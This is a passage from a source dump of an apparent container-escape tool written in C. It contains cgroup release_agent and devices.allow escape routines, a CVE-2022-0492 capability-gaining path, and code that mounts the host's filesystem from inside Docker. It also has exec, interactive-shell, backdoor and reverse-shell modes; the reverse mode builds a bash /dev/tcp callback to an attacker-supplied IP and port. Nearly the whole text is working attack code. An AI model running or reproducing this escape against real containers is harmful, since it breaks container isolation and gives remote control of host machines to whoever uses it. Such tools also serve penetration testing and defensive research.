%s failed\\n\", mount_path);\n        return -1;\n    }\n    device_allow_attack_info.mount_path = malloc(128 * sizeof(char));\n    memset(device_allow_attack_info.mount_path, 0x00, 128);\n    strcpy(device_allow_attack_info.mount_path, mount_path);\n\n    strcpy(device_allow_path, mount_path);\n    strcat(device_allow_path, device_allow_attack_info.cgroup_id);\n    strcat(device_allow_path, \"/devices.allow\");\n    if (file_exist(device_allow_path) == -1) {\n        printf_wrapper(ERROR, \"device_allow file %s not found\\n\", device_allow_path);\n        return -1;\n    }\n    printf_wrapper(INFO, \"Current docker devices.allow file path: %s\\n\", device_allow_path);\n    device_allow_attack_info.device_allow_path = malloc(512 * sizeof(char));\n    memset(device_allow_attack_info.device_allow_path, 0x00, 512);\n    strcpy(device_allow_attack_info.device_allow_path, device_allow_path);\n    printf_wrapper(INFO, \"Write 'a' to %s\\n\", device_allow_path);\n    if (write_file(device_allow_path, \"a\", O_WRONLY) != 0) {\n        printf_wrapper(ERROR, \"Write device_allow failed\\n\");\n        return -1;\n    }\n    free(device_allow_path);\n\n    get_host_dev_major_minor();\n    printf_wrapper(INFO, \"Host dev attribute info major: %d minor: %d fstype: %s\\n\", host_dev_attribute.major,\n                   host_dev_attribute.minor, host_dev_attribute.fstype);\n    char *host_dev_random = malloc(7 * sizeof(char));\n    memset(host_dev_random, 0x00, 7);\n    rand_string(host_dev_random, 6);\n    char *host_dev_path = malloc(20 * sizeof(char));\n    strcpy(host_dev_path, \"/tmp/\");\n    strcat(host_dev_path, host_dev_random);\n    printf_wrapper(INFO, \"Create host filesystem block special file\\n\");\n    if (mknodat(AT_FDCWD, host_dev_path, S_IFBLK | 0666, makedev(host_dev_attribute.major, host_dev_attribute.minor)) !=\n        0) {\n        printf_wrapper(ERROR, \"Create host filesystem block special file failed\\n\");\n        return -1;\n    }\n    printf_wrapper(INFO, \"Host filesystem block special file path: %s\\n\", host_dev_path);\n    device_allow_attack_info.host_dev_path = malloc(20 * sizeof(char));\n    memset(device_allow_attack_info.host_dev_path, 0x00, 20);\n    strcpy(device_allow_attack_info.host_dev_path, host_dev_path);\n    free(host_dev_random);\n    char host_mount_path[128] = \"/tmp/tmp.\";\n    char *host_dev_path_random = malloc(20 * sizeof(char));\n    rand_string(host_dev_path_random, 20);\n    strcat(host_mount_path, host_dev_path_random);\n    free(host_dev_path_random);\n    if (stat(host_mount_path, &st) == -1) {\n        mkdir(host_mount_path, 0700);\n    }\n\n    printf_wrapper(INFO, \"Mount host filesystem to docker\\n\");\n    if (mount(host_dev_path, host_mount_path, host_dev_attribute.fstype, 0, NULL)) {\n        printf_wrapper(ERROR, \"Mount Host filesystem to %s failed\\n\", host_mount_path);\n        return -1;\n    }\n    printf_wrapper(INFO, \"Host filesystem mount path: %s\\n\", host_mount_path);\n    device_allow_attack_info.host_filesystem_mount_path = (char *) malloc(256 * sizeof(char));\n    memset(device_allow_attack_info.host_filesystem_mount_path, 0x00, 256);\n    strcpy(device_allow_attack_info.host_filesystem_mount_path, host_mount_path);\n    return 0;\n}\n\n"
  },
  {
    "path": "exploits/devices_allow.h",
    "content": "//\n// Created by FlagT on 2022/6/25.\n//\n\n#ifndef SHOVEL_DEVICES_ALLOW_H\n#define SHOVEL_DEVICES_ALLOW_H\n\n#endif //SHOVEL_DEVICES_ALLOW_H\n\nint escape_by_device_allow();\n\nint device_allow_shell();\n\nint device_allow_reverse();"
  },
  {
    "path": "exploits/release_agent.c",
    "content": "#define _GNU_SOURCE\n//\n// Created by FlagT on 2022/6/22.\n//\n\n#include \"release_agent.h\"\n#include <sched.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <string.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <sys/mount.h>\n#include <signal.h>\n#include \"../util/random_str.h\"\n#include \"../util/utils.h\"\n#include \"../util/output.h\"\n#include \"../util/custom_struts.h\"\n\n#define STACK_SIZE (1024 * 1024)\n#define WAIT_RELEASE_AGENT_RUN_TIME 1\n\nstruct cgroup_procs_clone_args {\n    char *cgroup_procs_path;\n};\n\nint clear_cgroup_procs(void *args) {\n    char pid[10];\n    struct cgroup_procs_clone_args *arg = (struct cgroup_procs_clone_args *) args;\n    struct cgroup_procs_clone_args *cgroup_procs_args = (struct cgroup_procs_clone_args *) malloc(\n            sizeof(struct cgroup_procs_clone_args));\n    memcpy(cgroup_procs_args, arg, sizeof(struct cgroup_procs_clone_args));\n    cgroup_procs_args->cgroup_procs_path = (char *) malloc((strlen(arg->cgroup_procs_path) + 1) * sizeof(char));\n    strcpy(cgroup_procs_args->cgroup_procs_path, arg->cgroup_procs_path);\n\n    sprintf(pid, \"%d\", getpid());\n    if (attack_info.attack_mode != SHELL) {\n        printf_wrapper(INFO, \"Echo pid: %s to %s and this pid of process will close soon\\n\", pid,\n                       cgroup_procs_args->cgroup_procs_path);\n    }\n    if (write_file(cgroup_procs_args->cgroup_procs_path, pid, O_WRONLY) != 0) {\n        printf_wrapper(ERROR, \"Set cgroup_procs failed\\n\");\n    }\n    free(cgroup_procs_args->cgroup_procs_path);\n    free(cgroup_procs_args);\n}\n\nvoid release_agent_clear_all() {\n    int remove_controller_path_ret = 0;\n    int umount_cgroup_ret = 0;\n    int remove_cgroup_mount_path_ret = 0;\n    int remove_exp_path_ret = 0;\n    int remove_output_path_in_container_ret = 0;\n    if (*release_agent_attack_info.controller_path && file_exist(release_agent_attack_info.controller_path) != -1) {\n        remove_controller_path_ret = remove_dir(release_agent_attack_info.controller_path);\n    }\n    if (*release_agent_attack_info.mount_path) {\n        umount_cgroup_ret = umount(release_agent_attack_info.mount_path);\n    }\n    if (*release_agent_attack_info.mount_path && file_exist(release_agent_attack_info.mount_path) != -1) {\n        remove_cgroup_mount_path_ret = remove_dir(release_agent_attack_info.mount_path);\n    }\n    if (attack_info.attack_mode != BACKDOOR && *release_agent_attack_info.exp_path &&\n        file_exist(release_agent_attack_info.exp_path) != -1) {\n        remove_exp_path_ret = remove_file(release_agent_attack_info.exp_path);\n    }\n    if (*release_agent_attack_info.output_path_in_container && attack_info.attack_mode != SHELL &&\n        attack_info.attack_mode != REVERSE && attack_info.attack_mode != BACKDOOR &&\n        file_exist(release_agent_attack_info.output_path_in_container) != -1) {\n        remove_output_path_in_container_ret = remove_file(release_agent_attack_info.output_path_in_container);\n    }\n    if (remove_controller_path_ret != 0 || remove_cgroup_mount_path_ret != 0 || remove_exp_path_ret != 0 ||\n        remove_output_path_in_container_ret != 0 || umount_cgroup_ret != 0) {\n        printf_wrapper(ERROR, \"Failed to clear attack related file\\n\");\n    } else {\n        printf_wrapper(INFO, \"Already clear attack related files\\n\");\n    }\n}\n\nint release_agent_exec() {\n    if (attack_info.attack_mode == SHELL && strcmp(attack_info.command, \"quit\") == 0) {\n        release_agent_clear_all();\n        return 0;\n    }\n\n    int output_path_random_length = 5;\n    char *output_path_random = malloc(output_path_random_length);\n    char *output_path_in_container = malloc(output_path_random_length + strlen(\"/tmp/\"));;\n    rand_string(output_path_random, output_path_random_length);\n    char exp[2048] = \"#!/bin/bash\\n\";\n    char cgroup_procs_path[512];\n\n    strcat(exp, attack_info.command);\n    strcat(exp, \" &> \");\n    strcat(exp, release_agent_attack_info.container_path_in_host);\n    strcat(exp, \"/tmp/\");\n    strcat(exp, output_path_random);\n\n    if (write_file(release_agent_attack_info.exp_path, exp, O_CREAT | O_WRONLY | O_TRUNC) != 0) {\n        printf_wrapper(ERROR, \"Write exp file failed\\n\");\n        release_agent_clear_all();\n        return -1;\n    }\n\n    strcpy(output_path_in_container, \"/tmp/\");\n    strcat(output_path_in_container, output_path_random);\n    free(output_path_random);\n\n    release_agent_attack_info.output_path_in_container = (char *) malloc(512 * sizeof(char));\n    memset(release_agent_attack_info.output_path_in_container, 0x00, 512);\n    strcpy(release_agent_attack_info.output_path_in_container, output_path_in_container);\n    free(output_path_in_container);\n\n    int exp_mode = S_IRUSR | S_IWUSR | S_IXUSR | S_IXGRP | S_IXOTH;\n    if (chmod(release_agent_attack_info.exp_path, exp_mode) != 0) {\n        printf_wrapper(ERROR, \"call chmod to give %s execute permission failed\\n\", release_agent_attack_info.exp_path);\n        release_agent_clear_all();\n        return -1;\n    }\n\n    strcpy(cgroup_procs_path, release_agent_attack_info.controller_path);\n    strcat(cgroup_procs_path, \"/cgroup.procs\");\n\n    struct cgroup_procs_clone_args args;\n    args.cgroup_procs_path = cgroup_procs_path;\n    void *arg = (void *) &args;\n    if (clone(clear_cgroup_procs, malloc(STACK_SIZE) + STACK_SIZE, SIGCLD, arg) == -1) {\n        printf_wrapper(ERROR, \"Clone new process into cgroup_procs and clear cgroup_procs failed\\n\");\n        return -1;\n    }\n    if (attack_info.attack_mode != SHELL) {\n        printf_wrapper(INFO, \"Waiting for the command execution is completed (%ds)\\n\", WAIT_RELEASE_AGENT_RUN_TIME);\n    }\n    sleep(WAIT_RELEASE_AGENT_RUN_TIME);\n\n    char *exec_command_result_buffer = malloc((1024 * 1024) * sizeof(char));\n    memset(exec_command_result_buffer, 0x00, (1024 * 1024));\n    if (read_file(release_agent_attack_info.output_path_in_container, exec_command_result_buffer, O_RDONLY) == -1) {\n        printf_wrapper(ERROR, \"Get command run result failed\\n\");\n        release_agent_clear_all();\n        return -1;\n    }\n    if (attack_info.attack_mode != SHELL) {\n        printf_wrapper(INFO, \"Command execution results are as follows: \\n\");\n    }\n    if (attack_info.attack_mode == EXEC) {\n        printf(\"\\n\");\n    }\n    if (exec_command_result_buffer[strlen(exec_command_result_buffer) - 1] != '\\n') {\n        printf(\"%s\\n\", exec_command_result_buffer);\n    } else {\n        printf(\"%s\", exec_command_result_buffer);\n    }\n    free(exec_command_result_buffer);\n\n    if (attack_info.attack_mode == EXEC) {\n        printf(\"\\n\");\n        release_agent_clear_all();\n    }\n\n    if (attack_info.attack_mode == SHELL) {\n        if (remove_file(release_agent_attack_info.output_path_in_container) != 0) {\n            printf_wrapper(WARNING, \"clear output result in container failed, path is %s\\n\",\n                           release_agent_attack_info.output_path_in_container);\n        }\n    }\n    return 0;\n}\n\nint release_agent_reverse() {\n    int output_path_random_length = 5;\n    char *output_path_random = malloc(output_path_random_length + 1);\n    char cgroup_procs_path[512];\n    char *output_path_in_container = malloc(output_path_random_length + strlen(\"/tmp/\"));;\n    rand_string(output_path_random, output_path_random_length);\n    char exp[2048] = \"#!/bin/bash\\n\";\n    strcat(exp, \"bash -i >& /dev/tcp/\");\n    strcat(exp, attack_info.ip);\n    strcat(exp, \"/\");\n    strcat(exp, attack_info.port);\n    strcat(exp, \" 0>&1\");\n\n    if (write_file(release_agent_attack_info.exp_path, exp, O_CREAT | O_WRONLY | O_TRUNC) != 0) {\n        printf_wrapper(ERROR, \"Write exp file failed\\n\");\n        release_agent_clear_all();\n        return -1;\n    }\n\n    strcpy(output_path_in_container, \"/tmp/\");\n    strcat(output_path_in_container, output_path_random);\n    free(output_path_random);\n\n    release_agent_attack_info.output_path_in_container = (char *) malloc(512 * sizeof(char));\n    memset(release_agent_attack_info.output_path_in_container, 0x00, 512);\n    strcpy(release_agent_attack_info.output_path_in_container, output_path_in_container);\n    free(output_path_in_container);\n\n    int exp_mode = S_IRUSR | S_IWUSR | S_IXUSR | S_IXGRP | S_IXOTH;\n    if (chmod(release_agent_attack_info.exp_path, exp_mode) != 0) {\n        printf_wrapper(ERROR, \"call chmod to give %s execute permission failed\\n\", release_agent_attack_info.exp_path);\n        release_agent_clear_all();\n        return -1;\n    }\n\n    strcpy(cgroup_procs_path, release_agent_attack_info.controller_path);\n    strcat(cgroup_procs_path, \"/cgroup.procs\");\n\n    struct cgroup_procs_clone_args args;\n    args.cgroup_procs_path = cgroup_procs_path;\n    void *arg = (void *) &args;\n    if (clone(clear_cgroup_procs, malloc(STACK_SIZE) + STACK_SIZE, SIGCLD, arg) == -1) {\n        printf_wrapper(ERROR, \"Clone new process into cgroup_procs and clear cgroup_procs failed\\n\");\n        return -1;\n    }\n    sleep(WAIT_RELEASE_AGENT_RUN_TIME);\n    release_agent_clear_all();\n    return 0;\n}\n\nint release_agent_backdoor() {\n    char cgroup_procs_path[512];\n    int exp_mode = S_IRUSR | S_IWUSR | S_IXUSR | S_IXGRP | S_IXOTH;\n    if (chmod(release_agent_attack_info.exp_path, exp_mode) != 0) {\n        printf_wrapper(ERROR, \"call chmod to give %s execute permission failed\\n\", release_agent_attack_info.exp_path);\n        release_agent_clear_all();\n        return -1;\n    }\n\n    strcpy(cgroup_procs_path, release_agent_attack_info.controller_path);\n    strcat(cgroup_procs_path, \"/cgroup.procs\");\n\n    release_agent_attack_info.output_path_in_container = (char *) malloc(512 * sizeof(char));\n    strcpy(release_agent_attack_info.output_path_in_container, attack_info.backdoor_path);\n\n    struct cgroup_procs_clone_args args;\n    args.cgroup_procs_path = cgroup_procs_path;\n    void *arg = (void *) &args;\n    if (clone(clear_cgroup_procs, malloc(STACK_SIZE) + STACK_SIZE, SIGCLD, arg) == -1) {\n        printf_wrapper(ERROR, \"Clone new process into cgroup_procs and clear cgroup_procs failed\\n\");\n        return -1;\n    }\n    sleep(WAIT_RELEASE_AGENT_RUN_TIME);\n    release_agent_clear_all();\n    return 0;\n}\n\n\nint escape_by_release_agent() {\n    printf_wrapper(INFO, \"Start escape by release_agent\\n\");\n    const int cgroup_path_random_length = 10;\n    const int controller_path_random_length = 5;\n    const int release_agent_exp_path_length = 5;\n    char mount_path[128] = \"/tmp/tmp.\";\n    char *controller = NULL;\n    if (release_agent_attack_info.use_cve_2022_0492 == 1) {\n        controller = \"rdma\";\n    } else {\n        controller = \"memory\";\n    }\n    char controller_path[128];\n    char release_agent_path[128];\n    char notify_on_release_path[128];\n    char release_agent_exp_path[512];\n    char exp_path[128] = \"/tmp/\";\n\n    //    Mount Cgroup\n    //    Create cgroup mount path as clion remote development path e.g. \"tmp.RwYWARK7Me\"\n    char *cgroup_path_random = malloc(cgroup_path_random_length + 1);\n    rand_string(cgroup_path_random, cgroup_path_random_length);\n    strcat(mount_path, cgroup_path_random);\n    free(cgroup_path_random);\n    struct stat st = {0};\n    if (stat(mount_path, &st) == -1) {\n        mkdir(mount_path, 0700);\n    }\n    printf_wrapper(INFO, \"Cgroup mount path: %s\\n\", mount_path);\n    if (mount(\"cgroup\", mount_path, \"cgroup\", 0, controller)) {\n        printf_wrapper(ERROR, \"Mount cgroup to %s failed\\n\", mount_path);\n        return -1;\n    }\n\n    release_agent_attack_info.mount_path = (char *) malloc(512 * sizeof(char));\n    strcpy(release_agent_attack_info.mount_path, mount_path);\n\n    // create child cgroup\n    char *controller_path_random = malloc(controller_path_random_length + 1);\n    rand_string(controller_path_random, controller_path_random_length);\n    strcpy(controller_path, mount_path);\n    strcat(controller_path, \"/\");\n    strcat(controller_path, controller_path_random);\n    free(controller_path_random);\n    printf_wrapper(INFO, \"New cgroup controller path: %s\\n\", controller_path);\n    if (stat(controller_path, &st) == -1) {\n        mkdir(controller_path, 0777);\n    }\n    release_agent_attack_info.controller_path = (char *) malloc(512 * sizeof(char));\n    strcpy(release_agent_attack_info.controller_path, controller_path);\n\n    //enable notify_on_release\n    strcpy(notify_on_release_path, controller_path);\n    strcat(notify_on_release_path, \"/notify_on_release\");\n\n    printf_wrapper(INFO, \"Enable notify_on_release: %s\\n\", notify_on_release_path);\n    if (file_exist(notify_on_release_path) == -1) {\n        printf_wrapper(ERROR, \"notify_on_release file %s not found\\n\", notify_on_release_path);\n        return -1;\n    }\n    if (write_file(notify_on_release_path, \"1\", O_WRONLY) != 0) {\n        printf_wrapper(ERROR, \"Enable notify_on_release failed\\n\");\n        release_agent_clear_all();\n        return -1;\n    }\n\n    // set release_agent\n    strcpy(release_agent_path, mount_path);\n    strcat(release_agent_path, \"/release_agent\");\n    if (file_exist(release_agent_path) == -1) {\n        printf_wrapper(ERROR, \"release_agent file %s not found\\n\", release_agent_path);\n        return -1;\n    }\n    printf_wrapper(INFO, \"Path of release_agent: %s\\n\", release_agent_path);\n    if (attack_info.attack_mode != BACKDOOR) {\n        char *release_agent_exp_path_random = malloc(release_agent_exp_path_length + 1);\n        rand_string(release_agent_exp_path_random, release_agent_exp_path_length);\n        strcpy(release_agent_exp_path, release_agent_attack_info.container_path_in_host);\n        strcat(release_agent_exp_path, \"/tmp/\");\n        strcat(release_agent_exp_path, release_agent_exp_path_random);\n        printf_wrapper(INFO, \"Write exp_path to release_agent: %s\\n\", release_agent_exp_path);\n        if (write_file(release_agent_path, release_agent_exp_path, O_WRONLY) != 0) {\n            printf_wrapper(ERROR, \"Write release_agent failed\\n\");\n            release_agent_clear_all();\n            return -1;\n        }\n\n        strcat(exp_path, release_agent_exp_path_random);\n        free(release_agent_exp_path_random);\n        printf_wrapper(INFO, \"Exp path: %s\\n\", exp_path);\n    } else {\n        strcpy(release_agent_exp_path, release_agent_attack_info.container_path_in_host);\n        strcat(release_agent_exp_path, attack_info.backdoor_path);\n        if (write_file(release_agent_path, release_agent_exp_path, O_WRONLY) != 0) {\n            printf_wrapper(ERROR, \"Write release_agent failed\\n\");\n            release_agent_clear_all();\n            return -1;\n        }\n\n        printf_wrapper(INFO, \"Write exp_path to release_agent: %s\\n\", release_agent_exp_path);\n        strcpy(exp_path, attack_info.backdoor_path);\n    }\n\n    release_agent_attack_info.exp_path = (char *) malloc(512 * sizeof(char));\n    strcpy(release_agent_attack_info.exp_path, exp_path);\n    return 0;\n}"
  },
  {
    "path": "exploits/release_agent.h",
    "content": "//\n// Created by FlagT on 2022/6/22.\n//\n\n#ifndef SHOVEL_RELEASE_AGENT_H\n#define SHOVEL_RELEASE_AGENT_H\n\n#endif //SHOVEL_RELEASE_AGENT_H\n\n\nint escape_by_release_agent();\n\nint release_agent_exec();\n\nint release_agent_reverse();\n\nint release_agent_backdoor();"
  },
  {
    "path": "main.c",
    "content": "#define _GNU_SOURCE\n\n#include \"docker/capability.h\"\n#include \"exploits/cve_2022_0492.h\"\n#include <time.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"util/output.h\"\n#include \"util/program_info.h\"\n#include \"docker/path.h\"\n#include \"exploits/release_agent.h\"\n#include \"util/regex_util.h\"\n#include \"util/custom_struts.h\"\n#include \"util/utils.h\"\n#include <getopt.h>\n#include <stdio.h>\n#include <unistd.h>\n#include \"docker/security.h\"\n\n#include \"docker/cgroup.h\"\n#include \"exploits/devices_allow.h\"\n\n#define DEFAULT_INPUT_BUFFER_SIZE 1024\n\nint cap_sys_admin_check() {\n    int sys_admin = check_cap_sys_admin();\n    if (sys_admin == 0) {\n        printf_wrapper(INFO, \"Try to use CVE-2022-0492 to get CAP_SYS_ADMIN\\n\");\n        int result = cve_2022_0294();\n        if (result == 0) {\n            printf_wrapper(INFO, \"No CAP_SYS_ADMIN capability, use CVE_2022_0492 failed\\n\");\n            return -1;\n        } else {\n            release_agent_attack_info.use_cve_2022_0492 = 1;\n        }\n    }\n    return 0;\n}\n\n\nint main(int argc, char *argv[]) {\n\n    srand(time(NULL));\n\n    if (argc == 1) {\n        usage(argv[0]);\n        exit(EXIT_SUCCESS);\n    }\n\n    static const struct option opts[] = {\n            {\"help\",           no_argument,       NULL, 'h'},\n            {\"version\",        no_argument,       NULL, 'v'},\n            {\"release-agent\",  no_argument,       NULL, 'r'},\n            {\"devices-allow\",  no_argument,       NULL, 'd'},\n            {\"cve-2022-0492\",  no_argument,       NULL, 'u'},\n            {\"container_path\", required_argument, NULL, 'p'},\n            {\"mode\",           required_argument, NULL, 'm'},\n            {\"command\",        required_argument, NULL, 'c'},\n            {\"ip\",             required_argument, NULL, 'I'},\n            {\"port\",           required_argument, NULL, 'P'},\n            {\"backdoor_path\",  required_argument, NULL, 'B'},\n            {\"assumeyes\",      no_argument,       NULL, 'y'}\n    };\n    int opt;\n    int assumeyes = 0;\n    attack_info.attack_mode = -1;\n    attack_info.attack_type = -1;\n    attack_info.command = (char *) malloc(512 * sizeof(char));\n    attack_info.ip = (char *) malloc(64 * sizeof(char));\n    attack_info.backdoor_path = (char *) malloc(512 * sizeof(char));\n    attack_info.port = (char *) malloc(10 * sizeof(char));\n    attack_info.container_path = (char *) malloc(1024 * sizeof(char));\n    memset(attack_info.command, 0x00, 512);\n    memset(attack_info.ip, 0x00, 64);\n    memset(attack_info.ip, 0x00, 512);\n    memset(attack_info.port, 0x00, 10);\n    memset(attack_info.container_path, 0x00, 1024);\n    const char *opt_type = \"hvrduyp:m:c:I:P:B:\";\n    while ((opt = getopt_long_only(argc, argv, opt_type, opts, NULL)) != -1) {\n        switch (opt) {\n            case 'h':\n                usage(argv[0]);\n                break;\n            case 'v':\n                print_version();\n                break;\n            case 'r':\n                attack_info.attack_type = RELEASE_AGENT;\n                break;\n            case 'd':\n                attack_info.attack_type = DEVICE_ALLOW;\n                break;\n            case 'c':\n                attack_info.command = optarg;\n                break;\n            case 'm':\n                if (strcmp(optarg, \"exec\") == 0) {\n                    attack_info.attack_mode = EXEC;\n                } else if (strcmp(optarg, \"shell\") == 0) {\n                    attack_info.attack_mode = SHELL;\n                } else if (strcmp(optarg, \"reverse\") == 0) {\n                    attack_info.attack_mode = REVERSE;\n                } else if (strcmp(optarg, \"backdoor\") == 0) {\n                    attack_info.attack_mode = BACKDOOR;\n                } else {\n                    printf_wrapper(ERROR, \"Unknown attack mode -m support {exec | shell | reverse}\\n\");\n                    exit(EXIT_SUCCESS);\n                }\n                break;\n            case 'I':\n                attack_info.ip = optarg;\n                break;\n            case 'P':\n                attack_info.port = optarg;\n                break;\n            case 'B':\n                attack_info.backdoor_path = optarg;\n                break;\n            case 'u':\n                attack_info.attack_type = CVE_2022_0492;\n                attack_info.attack_mode = SHELL;\n                break;\n            case 'y':\n                assumeyes = 1;\n                break;\n            case 'p':\n                attack_info.container_path = optarg;\n                break;\n            default:\n                usage(argv[0]);\n                break;\n        }\n    }\n    if (assumeyes != 1) {\n        if (attack_info.attack_type == RELEASE_AGENT) {\n            if (attack_info.attack_mode == EXEC) {\n                output_bash_warning(\"release_agent\", \"exec\");\n            } else if (attack_info.attack_mode == SHELL) {\n                output_bash_warning(\"release_agent\", \"shell\");\n            } else if (attack_info.attack_mode == REVERSE) {\n                output_bash_warning(\"release_agent\", \"reverse\");\n            }\n        } else if (attack_info.attack_type == DEVICE_ALLOW) {\n            if (attack_info.attack_mode == REVERSE) {\n                output_bash_warning(\"device_allow\", \"reverse\");\n            }\n        }\n    }\n    if (attack_info.attack_type == -1 || attack_info.attack_mode == -1) {\n        printf_wrapper(ERROR, \"Args set error, args of escape and -m must set\\n\");\n        exit(EXIT_SUCCESS);\n    }\n    if (attack_info.attack_mode == EXEC && attack_info.command[0] == 0x00) {\n        printf_wrapper(ERROR, \"In exec mode, -c must be set and can't be empty\\n\");\n        exit(EXIT_SUCCESS);\n    }\n    if (attack_info.attack_mode == REVERSE && (attack_info.ip[0] == 0x00 || strcmp(attack_info.port, \"\") == 0)) {\n        printf_wrapper(ERROR, \"In reverse mode, -I and -P must set\\n\");\n        exit(EXIT_SUCCESS);\n    }\n\n    if (attack_info.attack_mode == BACKDOOR && attack_info.backdoor_path == 0x00) {\n        printf_wrapper(ERROR, \"In backdoor mode, -B  must set\\n\");\n        exit(EXIT_SUCCESS);\n    }\n    printf_wrapper(INFO, \"Check if container enable seccomp\\n\");\n    long int seccomp_status = seccomp_enable_check();\n    if (seccomp_status == 0) {\n        printf_wrapper(INFO, \"Current container disabled seccomp\\n\");\n    } else if (seccomp_status == -1) {\n        printf_wrapper(ERROR, \"Check if container enable seccomp failed\\n\");\n    } else {\n        printf_wrapper(WARNING, \"Current container enable seccomp\\n\");\n    }\n\n    printf_wrapper(INFO, \"Check if container enable apparmor\\n\");\n    int apparmor_status = apparmor_enable_check();\n    if (apparmor_status == 1) {\n        printf_wrapper(INFO, \"Current container disabled apparmor\\n\");\n    } else if (apparmor_status == -1) {\n        printf_wrapper(ERROR, \"Check if container enable apparmor failed\\n\");\n    } else {\n        printf_wrapper(WARNING, \"Current container enable apparmor\\n\");\n    }\n\n\n    printf_wrapper(INFO, \"Check if the program is running in docker\\n\");\n    char *cgroup_id = malloc(512 * sizeof(char));\n    memset(cgroup_id, 0x00, 512);\n    get_cgroup_id(cgroup_id);\n    if (!*cgroup_id) {\n        printf_wrapper(WARNING, \"The current running environment does not appear to be a docker or k8s\\n\");\n    }\n    switch (attack_info.attack_type) {\n        case RELEASE_AGENT: {\n            release_agent_attack_info.use_cve_2022_0492 = 0;\n            if (cap_sys_admin_check() == -1) {\n                printf_wrapper(ERROR,\n                               \"Current process don't have CAP_SYS_ADMIN capability，can't escape by using release_agent\\n\");\n            }\n            release_agent_attack_info.container_path_in_host = (char *) malloc(1024 * sizeof(char));\n            memset(release_agent_attack_info.container_path_in_host, 0x00, 1024);\n            if (attack_info.container_path[0] == 0x00) {\n                printf_wrapper(INFO, \"Try to get container path in host\\n\");\n                char *container_path_in_host = (char *) malloc(1024 * sizeof(char));\n                memset(container_path_in_host, 0x00, 1024);\n                get_container_path_in_host(container_path_in_host);\n                if (*container_path_in_host == 0x00) {\n                    printf_wrapper(ERROR, \"Get container path in host failed\\n\");\n                    exit(EXIT_SUCCESS);\n                }\n                strcpy(release_agent_attack_info.container_path_in_host, container_path_in_host);\n                free(container_path_in_host);\n            } else {\n                strcpy(release_agent_attack_info.container_path_in_host, attack_info.container_path);\n            }\n            if (escape_by_release_agent() != 0) {\n                printf_wrapper(ERROR, \"Escape by release_agent failed\\n\");\n                exit(EXIT_SUCCESS);\n            }\n\n            if (attack_info.attack_mode == EXEC) {\n                if (release_agent_exec() == -1) {\n                    printf_wrapper(ERROR, \"Execute the command %s failed\\n\", attack_info.command);\n                }\n            }\n\n            if (attack_info.attack_mode == SHELL) {\n                printf_wrapper(INFO,\n                               \"About to enter shell, please enter 'quit' to exit shell, other way out, such as using 'ctrl+c' will not clean up the attack\\n\");\n\n                char *inputBuffer = malloc(sizeof(char) * DEFAULT_INPUT_BUFFER_SIZE);\n                memset(inputBuffer, 0x00, DEFAULT_INPUT_BUFFER_SIZE);\n                while (strcmp(inputBuffer, \"quit\") != 0) {\n                    printf(\"# \");\n                    fgets(inputBuffer, DEFAULT_INPUT_BUFFER_SIZE, stdin);\n                    if (inputBuffer[strlen(inputBuffer) - 1] != '\\n') {\n                        printf_wrapper(ERROR, \"The input was too long, input buffer size %s\",\n                                       DEFAULT_INPUT_BUFFER_SIZE);\n                    }\n                    inputBuffer[strcspn(inputBuffer, \"\\n\")] = 0x00;\n                    strcpy(attack_info.command, inputBuffer);\n                    if (release_agent_exec() == -1) {\n                        printf_wrapper(ERROR, \"Execute the command %s failed\\n\", attack_info.command);\n                    }\n                }\n                free(inputBuffer);\n            }\n\n            if (attack_info.attack_mode == REVERSE) {\n                if (release_agent_reverse() == -1) {\n                    printf_wrapper(ERROR, \"Reverse shell failed\\n\");\n                }\n            }\n\n            if (attack_info.attack_mode == BACKDOOR) {\n                if (release_agent_backdoor() == -1) {\n                    printf_wrapper(ERROR, \"Run backdoor %s failed\\n\", attack_info.backdoor_path);\n                }\n            }\n            break;\n        }\n        case DEVICE_ALLOW: {\n            if (!*cgroup_id) {\n                printf_wrapper(ERROR, \"Get container cgroup path failed, cannot escape by device_allow\\n\");\n                exit(EXIT_SUCCESS);\n            }\n            if (attack_info.attack_mode == EXEC) {\n                printf_wrapper(ERROR, \"Escape by device_allow not support exec mode\\n\");\n                exit(EXIT_SUCCESS);\n            } else if (attack_info.attack_mode == SHELL) {\n                if (check_cap_sys_admin() == -1) {\n                    printf_wrapper(ERROR,\n                                   \"Current process don't have CAP_SYS_ADMIN capability，can't escape by using device_allow\\n\");\n                    return -1;\n                }\n                device_allow_attack_info.cgroup_id = malloc(512 * sizeof(char));\n                strcpy(device_allow_attack_info.cgroup_id, cgroup_id);\n                if (escape_by_device_allow() != -1) {\n                    device_allow_shell();\n                } else {\n                    printf_wrapper(ERROR, \"Escape by device_allow failed\\n\");\n                }\n            } else if (attack_info.attack_mode == REVERSE) {\n                if (check_cap_sys_admin() == -1) {\n                    printf_wrapper(ERROR,\n                                   \"Current process don't have CAP_SYS_ADMIN capability，can't escape by using device_allow\\n\");\n                }\n                device_allow_attack_info.cgroup_id = malloc(512 * sizeof(char));\n                strcpy(device_allow_attack_info.cgroup_id, cgroup_id);\n                if (escape_by_device_allow() != -1) {\n                    device_allow_reverse();\n                } else {\n                    printf_wrapper(ERROR, \"Escape by device_allow failed\\n\");\n                }\n            }\n            break;\n        }\n        case CVE_2022_0492: {\n            int sys_admin = check_cap_sys_admin();\n            if (sys_admin == 0) {\n                printf_wrapper(INFO, \"Try to attack by CVE-2022-0492 to get CAP_SYS_ADMIN\\n\");\n                int result = cve_2022_0294();\n                if (result == 0) {\n                    printf_wrapper(INFO, \"Attack by CVE_2022_0492 failed\\n\");\n                } else {\n                    printf_wrapper(INFO, \"Attack by CVE_2022_0492 success\\n\");\n                    char *bash_args[] = {\n                            \"/bin/bash\",\n                            NULL\n                    };\n                    int ret = execvp(bash_args[0], bash_args);\n                    if (ret == -1) {\n                        exit(EXIT_SUCCESS);\n                    } else {\n                        printf_wrapper(INFO, \"New process id: %d\", ret);\n                    }\n                }\n            } else {\n                printf_wrapper(INFO,\n                               \"Current process already has CAP_SYS_ADMIN capability, no need to use CVE_2022_0492\\n\");\n            }\n            break;\n        }\n    }\n}\n"
  },
  {
    "path": "util/custom_struts.c",
    "content": "//\n// Created by FlagT on 2022/6/26.\n//\n\n#include \"custom_struts.h\"\n"
  },
  {
    "path": "util/custom_struts.h",
